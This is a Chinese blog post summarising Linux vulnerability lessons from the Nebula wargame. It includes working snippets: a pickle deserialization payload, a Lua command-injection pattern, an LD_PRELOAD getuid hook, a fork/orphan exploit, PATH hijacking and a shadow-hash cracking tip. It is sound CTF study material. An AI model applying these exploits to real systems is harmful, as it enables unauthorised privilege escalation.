zoukankan      html  css  js  c++  java
  • 从 Exploit Exercises Nebula 中总结linux的基础漏洞和一些小知识点

    第一次使用markdown进行写文章,其实如果markdown编辑器支持qq截图直接粘贴就好了(后来发现是有,但是要收费)

    我觉学习了就应该有个总结,这样才会更加的牢固
    Exploit Exercises Nebula level00-19 学习记录

    ##搜索setuid/setgid的程序
    搜索一个setuid的程序,我们可以根据它的用户id,组id或者直接通过权限位来搜索(比如下面的第四个就是直接搜索setuid位的程序)
    但还要注意的一点是我们可以将标准错误不输出(我们可以重定向到空的设备: 2>/dev/null

    find / -uid
    find / -gid
    find / -perm +4000

    ##PATH环境变量的巧妙利用
    我们执行的命令都是从PATH变量的路径中进行搜索的,比如ls的常用的命令都是在/usr/bin/目录中,但是,搜索是从左到右搜索的,假如我们在PATH变量左边加一个目录(比如tmp目录),让后我们在tmp目录放一个跟ls同名的文件,或许是脚本文件,或许是可执行文件,那么我们就劫持了ls命令,只有那个用户或者程序有权限执行我们想要的操作,那我们就可以为所欲为了

    -bash-4.2$ echo $PATH
    /usr/local/bin:/usr/bin:/usr/local/sbin:/usr/sbin
    

    ##还有就是命令执行那些事
    我们可以使用的是下面这五种符号

    &(让前面的命令后台运行)
    &&(这就是逻辑操作,前面执行成功,后面的命令才会执行)
    |(这其实就是管道符,将前面的作为输入给到后面的命令)
    ||(这也是逻辑操作,前面执行失败,后面才会执行)
    ;(这就是命令的分隔符)
    还有的话就是如果是web端的命令执行可以使用%0a,这其实就是换行的ascii码

    ##linux定时任务
    linux上cron是一个linux下的定时执行工具,假如我们知道了它定时执行某个目录中的所有文件,而不只是单单指定一个文件,而且我们对这个目录具有写权限,那我们我们就可以在这个目录中写入我们想执行的文件了

    ##软链接
    这个类似于windows的快捷方式吧,当时挺有用的
    假如一个程序具有读取某个特定文件的功能,但是程序中对读取的文件名进行了限制,而linux对文件名又是大小写敏感的,那我们怎么绕过呢,没错我们可以使用软连接

    ln -s /src/secret  /dest/getit
    

    ##隐藏文件(夹)
    有些管理员可能把一些重要的文件或者信息隐藏了
    比如sudo密码,系统登陆密码,甚至是ssh的私钥
    同时对这些目录的权限没有控制好,那就…,其实压根不应该放在服务上的这些东西
    一旦我们有权限读取,那,_

    ##/etc/passwd
    在以前的linux中,加密了的hash是放在这里的/etc/passwd,不过现在都放在/etc/shadow了,默认连root用户都没有任何权限的哦

    ll /etc/shadow
    ---------- 1 root shadow 978 Sep 16  2016 /etc/shadow
    

    假如遇到旧版的linux,那么我们直接拿去在线解密得了,或者自己用john爆破(直接将那一行保存到一个文件,作为john的第一个参数就可以了)

    ##pcap包
    服务器上会不会有管理员抓的包呢,包里面会不会有什么机密的信息呢

    ##脚本语言的
    Nebula 里面包含了挺多脚本语言的

    ###php
    由于正则匹配使用了/e模式,preg_replace的第二个参数就会当做php代码执行

    ###lua
    使用下面的方式对密码进行hash可导致命令执行
    password后面加个;再加要执行的命令即可

    function hash(password)
      prog = io.popen("echo "..password.." | sha1sum", "r")
      data = prog:read("*all")
      prog:close()
      data = string.sub(data, 1, 40)
      return data
    end
    

    ###python
    python的pickle模块的反序列化的漏洞

    from cPickle import dumps
    from os      import system
    class Exploit(object):
        def __reduce__(self): return (system, ('getflag > /tmp/flag17',))
    r = dumps(Exploit())
    print r
    

    ##文件访问竞态条件漏洞
    也可称作为“ TOCTOU 漏洞“——time of check,time of use
    上面这个英文解释得很好,就是check和use是分开的,那我们可以使用满足条件的绕过check之后(比如说是文件),再将这个文件替换成我们要执行的文件,就可成功利用了
    为什么呢,因为在多任务的操作系统,可能会进行进程切换。
    一般我们搞两个循环执行的文件,一个是不断用软连接替换文件,另一个是循环执行漏洞程序

    ##未初始化变量
    使用未初始化的变量是比较危险的,可能导致缓冲区溢出或者意想不到的结果,比如ms06-040
    记得在字符串后面加结束符

    ##gdb等调试的用处
    其实我们除了在一些特殊的情况修改了也没用之外,基本还是有用的
    比如我们修改里面的函数的返回值从而控制执行流程

    ##LD_PRELOAD
    这个可以进行HOOK,这个变量允许你定义在程序运行时优先加载的动态链接库。

    level13@nebula:/tmp$ cat flag13getuid.c
    int getuid(void){
            return 1000;
    }
    level13@nebula:gcc /tmp/flag13getuid.c -shared -fPIC -o flag13getuid.so
    level13@nebula:/tmp$ cp /home/flag13/flag13 /tmp/flag13
    level13@nebula:/tmp$ export LD_PRELOAD=/tmp/flag13getuid.so
    level13@nebula:/tmp$ ./flag13
    your token is b705702b-76a8-42b0-8844-3adabbe5ac5
    

    ##strace
    可用来跟踪进程执行时的系统调用和所接收的信号
    加载了哪些共享库啊,调用了什么系统函数什么的
    ltrace则用来跟踪进程调用库函数的情况

    跟踪的话可能有意向不到的发现,可能一开始查找的so文件不是从系统默认路径查找,那我们就可以伪造库函数了
    劫持__libc_start_main

    ##用shell命令将字符串转化为小写

    level16@nebula:/home/flag16$ a="GIANTBRANCH"
    level16@nebula:/home/flag16$ echo ${a,,}
    giantbranch
    

    ##资源未释放漏洞
    资源未释放漏洞就是程序使用了系统资源(比如申请了内存空间、打开了文件),但没有(正确)释放

    可能会绕过一些if语句
    我们可以限制句柄的个数

    ulimit -n 5
    

    ##子父进程的问题

    如果在子进程执行完毕之前,父进程因为种种原因被销毁了,那么子进程就变成了孤儿进程,收养它的是 init 进程,init是有root启动的

    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    int main(void)
    {
      pid_t pid;
      pid = fork();
      char *argvs[] = {"/bin/sh","-c","getflag>/tmp/flag19",NULL}; // 将 getflag 的内容重定向到 /tmp/flag19 中
      if(pid == 0) // 如果 pid==0 ,则是子进程
      {
        execve("/home/flag19/flag19",argvs,NULL);
      }else if(pid > 0){ // 返回给父进程时,直接结束父进程,子进程就成了孤儿进程了
        exit(0);
      }
    return 0;
    }
    

    ##getpwuid函数
    这是通过用户的uid查找用户的passwd数据根据传入的用户ID返回指向passwd的结构体,跟着可以获取用户名什么的

  • 相关阅读:
    webpack2 前篇
    vue 的调试工具
    CSS 命名规范总结
    reset.css
    推荐几个精致的web UI框架
    自己是个菜鸟 自己查找的简单的适合初学的Makefile
    Linux下编译、使用静态库和动态库 自己测过的
    函数参数的传递 动态内存传递问题(指针的指针)
    二级指针 (C语言)
    find_if查找vector内对象的成员 作为菜鸟一直不会用也不敢用
  • 原文地址:https://www.cnblogs.com/cnsec/p/13286516.html
Copyright © 2011-2022 走看看